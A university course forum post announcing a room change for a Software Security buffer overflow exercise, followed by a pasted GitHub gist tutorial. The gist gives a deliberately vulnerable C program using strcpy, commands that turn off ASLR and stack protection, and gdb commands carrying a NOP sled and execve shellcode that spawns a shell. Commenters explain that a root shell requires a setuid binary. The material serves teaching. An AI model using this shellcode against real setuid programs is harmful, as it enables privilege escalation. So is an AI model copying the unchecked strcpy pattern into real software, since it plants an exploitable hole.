Room change for Monday, 29.10.18

von [Steffen Helke](https://www.b-tu.de/elearning/btu/user/view.php?id=4873&course=3649) - Mittwoch, 24. Oktober 2018, 13:49

Hi folks,

our exercise for Software Security will exceptionally take place on Monday in VG1c Room 003. ***You will perform a buffer overflow attack yourself in the exercise.***

Note: The computers available in room 003 have a Linux installation that is sufficient for a simple buffer overflow attack. If you want to perform an attack using ***code injection***, you would have to bring your own laptop. The reason for this is that ***ASLR (Address Space Layout Randomization) has to be deactivated*** and this only works with root privileges. You need a Linux installation on your laptop, which can also run in a virtual machine. I would prefer ubuntu.

See you on Monday,

Steffen

**Reference:**

1. <https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/>
2. <https://gist.github.com/apolloclark/6cffb33f179cc9162d0a>
3. http://www.cis.syr.edu/~wedu/seed/Labs\_12.04/Software/Buffer\_Overflow/
4. https://bytesoverbombs.io/exploiting-a-64-bit-buffer-overflow-469e8b500f10
5. <https://www.le.ac.uk/users/rjm1/cotter/page_78.htm>
6. <https://www.hackingtutorials.org/exploit-tutorials/buffer-overflow-explained-basics/>
7. <https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/>
8. <http://www.informit.com/articles/article.aspx?p=704311&seqNum=3>
9. <http://www.securiteam.com/securityreviews/5OP0B006UQ.html>

**Tutorials: Youtube.**

# <https://www.youtube.com/watch?v=1S0aBV-Waeo> , Buffer Overflow Attack – Computerphile

# <https://www.youtube.com/watch?v=eYrfWpkvMxA>, Kali Linux 2016.1 - Buffer Overflow Tutorial

# <https://www.youtube.com/watch?v=hJ8IwyhqzD4> , How to exploit a buffer overflow vulnerability – Practical

# <https://www.youtube.com/watch?v=KAr2cjLPufA>, 22C3: Understanding buffer overflow exploitation

# <https://www.youtube.com/watch?v=3tUIcmG66y0>, Buffer Overflow Attack Lecture (Part 1) Note : See also Part 2 & Part 3.

# <https://www.youtube.com/watch?v=75gBFiFtAb8>, x86 Assembly Crash Course

# <https://www.youtube.com/watch?v=E269v_Dz5Vc>, Understanding x86 Assembly Arithmetic Operations

﻿

Instantly share code, notes, and snippets.

 [39](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a/stargazers)

*  [27](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a/forks)

# @apolloclark[apolloclark](https://gist.github.com/apolloclark)/[Buffer Overflow Tutorial in Kali.md](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a)

# Last active 5 days ago



[Code](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a) [Revisions 14](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a/revisions) [Stars 39](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a/stargazers) [Forks 27](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a/forks)

Buffer overflow demonstration in Kali Linux, based on the Computerphile video

[**Buffer Overflow Tutorial in Kali.md**](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a#file-buffer-overflow-tutorial-in-kali-md)

# Buffer Overflow Tutorial

This tutorial is based on the Computerphile video, made by Dr. Mike Pound

<https://www.youtube.com/watch?v=1S0aBV-Waeo>

The tutorial will show you how to trigger and exploit a buffer overflow attack against a custom C program, using Kali Linux 32-bit PAE 2016.1.

Torrent Link: <https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.torrent>

## disable memory randomization, enable core dumps

<http://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/> <http://www.akadia.com/services/ora_enable_core.html>

cat /proc/sys/kernel/randomize\_va\_space

sudo bash -c 'echo "kernel.randomize\_va\_space = 0" >> /etc/sysctl.conf'

sudo sysctl -p

cat /proc/sys/kernel/randomize\_va\_space

# verify "0"

ulimit -c unlimited

ulimit -c

# verify "unlimited"

## scripts

<http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it>

$nano

# ctrl+shift+v 🡪 paste,

# ctrl+o 🡪 save,

# ctrl+x 🡪 quit,

[envexec.sh]

#!/bin/sh

while getopts "dte:h?" opt ; do

case "$opt" in

h|\?)

printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)

exit 0

;;

t)

tty=1

gdb=1

;;

d)

gdb=1

;;

e)

env=$OPTARG

;;

esac

done

shift $(expr $OPTIND - 1)

prog=$(readlink -f $1)

shift

if [ -n "$gdb" ] ; then

if [ -n "$tty" ]; then

touch /tmp/gdb-debug-pty

exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog "$@"

else

exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"

fi

else

exec env - $env TERM=screen PWD=$PWD $prog "$@"

fi

[vuln.c]

#include <stdio.h>

#include <string.h>

int main (int argc, char\*\* argv)

{

char buffer[500];

strcpy(buffer, argv[1]);

return 0;

}

## Commands

# compile the code

gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln

# clean the environment, debug

chmod +x envexec.sh

./envexec.sh -d vuln

# clean the environment, execute exploit

./envexec.sh /root/vuln $(python ...)

# run gdb, load a program to analyze

gdb vuln

## GDB commands

# quit the debugger

quit

# clear the screen

ctrl + l

shell clear

# show debugging symbols, ie. code

list

list main

# show the assemlby code

disas main

# examine information

info os

info functions

info variables

# run the program, with input

run Hello

# run the overflow, seg fault

run $(python -c 'print "\x41" \* 508')

# examine memory address

x/200x ($esp - 550)

# confirm overwrite of ebp register

info registers

# find a location, below ESP (stack pointer)

EDI = destination index, string / array copying

ESI = source index, string + array copying

EIP = index pointer, next address to execute

EBP = stack base pointer

ESP = stack pointer, starting in high memory, going down

EDX = data register

# run the overflow, launch a zsh shell

run $(python -c 'print "\x90" \* 426 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x51\x51\x51\x51" \* 10')

# examine memory address

x/200x ($esp - 550)

# convert memeory address to little endian

ecx 0xbfffffc0 -1073741888

edx 0xbffffc3a -1073742790

ebx 0xb7fb8000 -1208254464

esp 0xbffffc40 0xbffffc40

ebp 0x51515151 0x51515151

0xbf ff fa ba

\xba\xfa\xff\xbf

# run the exploit, execut /bin/zsh5

run $(python -c 'print "\x90" \* 425 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xba\xfa\xff\xbf" \* 10')

[](https://gist.github.com/PhoenixFlame93)

### [PhoenixFlame93](https://gist.github.com/PhoenixFlame93)commented [on May 23, 2016](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a#gistcomment-1784320)

|  |
| --- |
| In the video, you run everything on root. Then finally, the exploit code also shows root. How could you verify the shellcode runs properly? It's because when I follow the tutorial, everything works fine. But when I check whoami to verify, it still says I'm not root. |

[](https://gist.github.com/mogosselin)

### [mogosselin](https://gist.github.com/mogosselin)commented [on Sep 21, 2016](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a#gistcomment-1879686)

|  |
| --- |
| Here's a direct link to the VM file, nobody is seeding the torrent at the moment: <https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.7z> |

[](https://gist.github.com/Sharan123)

### [Sharan123](https://gist.github.com/Sharan123)commented [on Oct 21, 2016](https://gist.github.com/apolloclark/6cffb33f179cc9162d0a#gistcomment-1903461)

|  |
| --- |
| To answer [@PhoenixFlame93](https://github.com/PhoenixFlame93) You need an application be be run as suid (and owner root) for you to get root. Otherwise you will just get the shell with the privileges of the user who ran the program |